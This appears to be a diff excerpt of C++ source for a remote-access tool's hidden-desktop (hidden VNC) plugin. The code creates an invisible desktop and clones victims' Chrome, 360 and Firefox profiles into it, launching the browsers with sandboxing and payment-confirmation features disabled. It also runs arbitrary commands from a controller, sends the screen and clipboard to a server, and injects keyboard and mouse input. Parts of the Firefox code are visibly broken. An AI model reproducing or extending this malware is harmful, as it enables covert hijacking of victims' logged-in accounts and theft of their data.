const DWORD neverCombine = 2;
const TCHAR* valueName = _T("TaskbarGlomLevel");
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
DWORD value;
DWORD size = sizeof(DWORD);
DWORD type = REG_DWORD;
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
if (value != neverCombine)
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
TCHAR explorerPath[MAX_PATH] = { 0 };
GetWindowsDirectory(explorerPath, MAX_PATH);
lstrcat(explorerPath, _T("\\"));
lstrcat(explorerPath, _T("explorer.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
APPBARDATA appbarData;
appbarData.cbSize = sizeof(appbarData);
for (int i = 0; i < 5; ++i) {
Sleep(1000);
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
if (appbarData.hWnd)
break;
}
appbarData.lParam = ABS_ALWAYSONTOP;
SHAppBarMessage(ABM_SETSTATE, &appbarData);
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
RegCloseKey(hKey);
break;
}
case IDM_OPEN_run: {
TCHAR rundllPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Powershell: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Chrome: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcat(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR botId[35] = { 0 };
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcat(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Edge: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("msedge.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Brave: {
killproc(_T("brave.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("brave.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Firefox: {
TCHAR firefoxPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
TCHAR profilesIniPath[MAX_PATH] = { 0 };
lstrcat(profilesIniPath, firefoxPath);
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hProfilesIni == INVALID_HANDLE_VALUE)
return;
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
DWORD read;
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
profilesIniContent[profilesIniSize] = 0;
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
if (!isRelativeRead) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
isRelativeRead += 11;
BOOL isRelative = (*isRelativeRead == _T('1'));
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
if (!path) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
TCHAR* pathEnd = StrStr(path, _T("\r"));
if (!pathEnd) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
*pathEnd = 0;
path += 5;
TCHAR realPath[MAX_PATH] = { 0 };
if (isRelative)
lstrcpy(realPath, firefoxPath);
lstrcat(realPath, path);
TCHAR newPath[MAX_PATH];
lstrcpy(newPath, firefoxPath);
lstrcpy(newPath, deskName);
CopyDir(realPath, newPath);
TCHAR browserPath[MAX_PATH] = { 0 };
lstrcpy(browserPath, _T("cmd.exe /c start "));
lstrcpy(browserPath, _T("firefox.exe"));
lstrcpy(browserPath, _T(" -no-remote -profile "));
lstrcpy(browserPath, _T("\""));
lstrcpy(browserPath, newPath);
lstrcpy(browserPath, _T("\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Iexplore: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("iexplore.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy2: {
ZdyCmd m_ZdyCmd = {};
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, m_ZdyCmd.cmdline);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, m_ZdyCmd.newpath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360JS: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("360chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("secoresdk\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ2: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("360se6\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
}
}
void CScreenHideManager::InitScreenSpy() {
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
}
else {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
{
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
}
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
BYTE* param = (BYTE*)m_ptrUser;
int compress = ALGORITHM_DIFF;
if (param) {
compress = param[1];
delete[] param;
m_ptrUser = NULL;
}
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
}
} // namespace SimplePluginsScreenHide
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include "ScreenHideSpy.h"
#include "ScreenManagerBase.h"
namespace SimplePluginsScreenHide {
class CScreenHideManager : public CScreenManagerBase
{
public:
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
virtual ~CScreenHideManager();
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
virtual void InitScreenSpy();
};
} // namespace SimplePluginsScreenHide
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include "ScreenSpy.h"
namespace SimplePluginsScreenHide {
// 隐私屏幕捕获器。
//
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
class CScreenHideSpy : public ::CScreenSpy
{
public:
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
{
}
};
} // namespace SimplePluginsScreenHide
+642
View File
@@ -0,0 +1,642 @@
#pragma once
#include "Manager.h"
#include "ScreenCapture.h"
#include <Shlwapi.h>
#include <ShlObj.h>
#include <tchar.h>
class IOCPClient;
namespace SimplePluginsScreenHide {
class CScreenManagerBase : public CManager {
public: // 构造和析构
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
{
m_DlgToken = token;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ptrUser = user;
m_ScreenSpyObject = nullptr;
m_biBitCount = nBitDepth;
m_fps = 10;
m_bIsWorking = TRUE;
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
SetReady(TRUE);
}
virtual ~CScreenManagerBase() {
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
SAFE_DELETE(m_ScreenSpyObject);
if (g_hDesk) {
auto b = CloseDesktop(g_hDesk);
g_hDesk = NULL;
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
}
}
public: // 非纯虚函数
virtual BOOL SendFirstScreen() {
ULONG len = 0;
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
if (nullptr == data) {
return FALSE;
}
return m_ClientObject->Send2Server((char*)data, 1 + len);
}
virtual bool IsMetricsChange() {
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
if (m_oldwidth == 0 || m_oldheigh == 0) {
return false;
}
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
return true;
}
return false;
}
virtual void Loop_Screen() {
// 获取分辨率
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
// 修改分辨率
DEVMODE lpDevMode;
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
lpDevMode.dmSize = sizeof(lpDevMode);
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
if (result == DISP_CHANGE_SUCCESSFUL) {
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
}
else {
ChangeDisplaySettings(NULL, 0);
}
}
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
virtual int GetCurrentPixelBits() { return m_biBitCount; }
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
}
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
}
virtual void ResetScreen(int biBitCount = 32) {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_DELETE(m_ScreenSpyObject);
m_biBitCount = biBitCount;
m_bIsWorking = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
}
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
if (!OpenClipboard(NULL))
return;
EmptyClipboard();
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
if (szClipboardVirtualAddress)
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
virtual VOID SendClientClipboard() {
if (!OpenClipboard(NULL)) //打开剪切板设备
return;
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
if (hGlobal == NULL) {
CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
GlobalUnlock(hGlobal);
CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
virtual DWORD WorkProcess() {
CScreenManagerBase* This = this;
This->InitScreenSpy();
This->SendBitMapInfo();
if (This->m_bIsWorking)
This->WaitForDialogOpen();
This->SendScreenSize();
clock_t last = clock();
if (!This->SendFirstScreen()) {
Mprintf("Send first screen failed!!!\n");
return 0x20250224;
}
Mprintf("Succeed sending bmpInfo and first screen\n");
float fps = This->m_fps;
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
int s0 = sleep; // 两帧之间隔(ms)
const int frames = fps; // 每秒调整屏幕发送速度
const double alpha = 1.1; // 控制fps的因子
timeBeginPeriod(1);
while (This->m_bIsWorking) {
ULONG ulNextSendLength = 0;
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
if (NULL == szBuffer) {
continue;
}
int span = s0 - (clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= 500) ? s0 * alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= 40) ? s0 / alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
virtual DWORD ControlProcess() {
CScreenManagerBase* pThis = this;
pThis->WaitForDialogOpen();
while (pThis->IsConnect() && pThis->m_bIsWorking) {
// 分辨率大小改变了
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(2000);
}
Sleep(10);
}
return -1;
}
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
return pThis->WorkProcess();
}
static DWORD WINAPI ControlThread(LPVOID lparam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
return pThis->ControlProcess();
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
std::string GetTitle(HWND hWnd) {
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
virtual VOID SendBitMapInfo() {
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = new BYTE[ulLength];
szBuffer[0] = m_DlgToken;
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
SAFE_DELETE_ARRAY(szBuffer);
}
virtual void SendScreenSize()
{
RECT rect = m_ScreenSpyObject->GetScreenRect();
BYTE lpBuffer[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SCREEN_SIZE;
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
Send(lpBuffer, sizeof(lpBuffer));
}
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
int msgSize = sizeof(MYMSG);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
ULONG ulMsgCount = ulLength / msgSize;
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (nullptr == g_hDesk) {
// 命令个数
// 处理多个命令
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch (Msg->message) {
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN: case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP: case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
} else { // 虚拟桌面
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = { 0 };
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
